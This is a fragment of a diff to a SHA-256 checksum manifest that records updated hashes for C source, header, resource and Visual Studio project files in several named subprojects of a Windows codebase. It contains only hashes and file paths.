a2b59d06ad6f6af9ac19b5b15c987c246eb059eade447b63c3113646c6ef52a0 *Source\Fubuki\unbcl.h -1d5b354a2f9225c3e410b3fc43bf8e9984de8fff8221c9f532483d22e54ab42f *Source\Fubuki\version.rc +dacce5219ceec64ceff5491ed45dfe2ffe7c095fcb30b74db177e3d1541bf839 *Source\Fubuki\version.rc eccff5e3d98818d8ea5393d86379985c8eee5b0ac44d06e1c8b52b29d96cf066 *Source\Fubuki\wbemcomn.h -039659963ca2e567fe2a2c074c068a5b6ae11ce6664f319f10755f6ea4ff681b *Source\Hibiki\dllmain.c +1e520be61368b89979d0c5605a62c71d1965c9bcbc0b4b18d070203e21913062 *Source\Hibiki\dllmain.c fc32b236825eaad7806a7cbed561f751496deace5cc0a3b72856d934c879a31a *Source\Hibiki\hibiki.suppress 1df0cd6cef001334dbe6877d8a68d34089f6a0f11dcebc7f1d08d3835d50cd8b *Source\Hibiki\Hibiki.vcxproj eaf764a71dca55552f81e54f864acf78bb081b8d42de8cfcf67c69347a297809 *Source\Hibiki\Hibiki.vcxproj.filters cb5688faa7cfe99a609ecdb7131f218628dbe34b8fb39ba83a2328227bc63179 *Source\Hibiki\Hibiki.vcxproj.user 4006ba7005ca2873a5acbd2755ba1965e62bf0bd8783882f874bea2c80d45e1d *Source\Hibiki\resource.h -a40b4cd99474e949a1e2fd0621a45eb7431761ee62f814e8a640ada57371eeac *Source\Hibiki\version.rc -f1fddf038d62c308e7a6162e5f1d95d92d6479f00ec2bc3643d1edc500c9620a *Source\Ikazuchi\dllmain.c +1fc3ee88bb60ffc54b1f33429125a30a09a829547a446a86e356f9cca1c7127d *Source\Hibiki\version.rc +eb90b7b4ac53cd6f62deeb8f7028d5fecbfa3c6f03e3ad7e1c235918fbfed52e *Source\Ikazuchi\dllmain.c 14e64356e031e0c1d161f38d4ba8f1e6d55d6ea383c1b967123db80da2f172c2 *Source\Ikazuchi\export.def c6357613fa00417abeb97834822a0d9a01b8f95d19a3e7358e00cfef88f7598e *Source\Ikazuchi\ikazuchi.suppress 706e38718d616247c8e9a0c6b6a51b5477ca6169c7126b6e26a33d99560fdc50 *Source\Ikazuchi\Ikazuchi.vcxproj d196af9df08cbdaff3817f0e56bb356ae21e1dcbc6853482f14fd555e98aebb2 *Source\Ikazuchi\Ikazuchi.vcxproj.filters 9a4b0023e443b33d85280eedb510864c42b4146c8e6e5f742444b3eff0aae55f *Source\Ikazuchi\Ikazuchi.vcxproj.user 4006ba7005ca2873a5acbd2755ba1965e62bf0bd8783882f874bea2c80d45e1d *Source\Ikazuchi\resource.h -0b23b7f61f21bda96f1515711852f3b9a981efb09623c6d7ed743f81d4a0cf9e *Source\Ikazuchi\version.rc +8ed990126df328775e139b55ab5f192c80e7527aa45f8e5b22bf6517d239940f *Source\Ikazuchi\version.rc 82868f43880065610efe2dc0532876384b3f04d57a17a6f95d5fd71784cfa2db *Source\Inazuma\Inazuma.vcxproj 0cd995b29fdec206817ef1939ac1b9c1a10bc87fff80490f030097a8a0e07c49 *Source\Inazuma\Inazuma.vcxproj.filters cb5688faa7cfe99a609ecdb7131f218628dbe34b8fb39ba83a2328227bc63179 *Source\Inazuma\Inazuma.vcxproj.user @@ -113,7 +117,7 @@ bd6fe82852c4fcdfab559defa33ea394b752a4e4a5ac0653ae20c4a94b0175ed *Source\Shared\ 01c5aada277c3a7a138ab7c31beda0decee8ec28fe7525e43ca524b2b0270213 *Source\Shared\ldr.c b22c6d2722fa9e917746502fd4615d28b9c889d7288fc737315150e0ae40ee6f *Source\Shared\ldr.h 107245437ed86b6f1e839b2d3d9bbadb3d9980046cb5c7001f985fed3627962f *Source\Shared\minirtl.h -5d1e45dfb65548af3fa7e13792d4cca37ddbb8324e7ec1c21fd9a6d9ea49922f *Source\Shared\ntos.h +7d7466f9b0f9a1264f8c606e7171b109927507444d04b02c6ae42c755d5e0c00 *Source\Shared\ntos.h 3fccfae61f8e59435c180be88cb46967361ed61ec1314532dddabf12679902b1 *Source\Shared\ntsxs.h b9de99d3447bb1a125cb92aa1b3f9b56a59522436f1a1a97f23aac9cee90341c *Source\Shared\rtltypes.h ca0b7a38be2f3f63a69aca6da7b3a62a59fcefee92de00e9796f68d4a2a23158 *Source\Shared\strtoi.c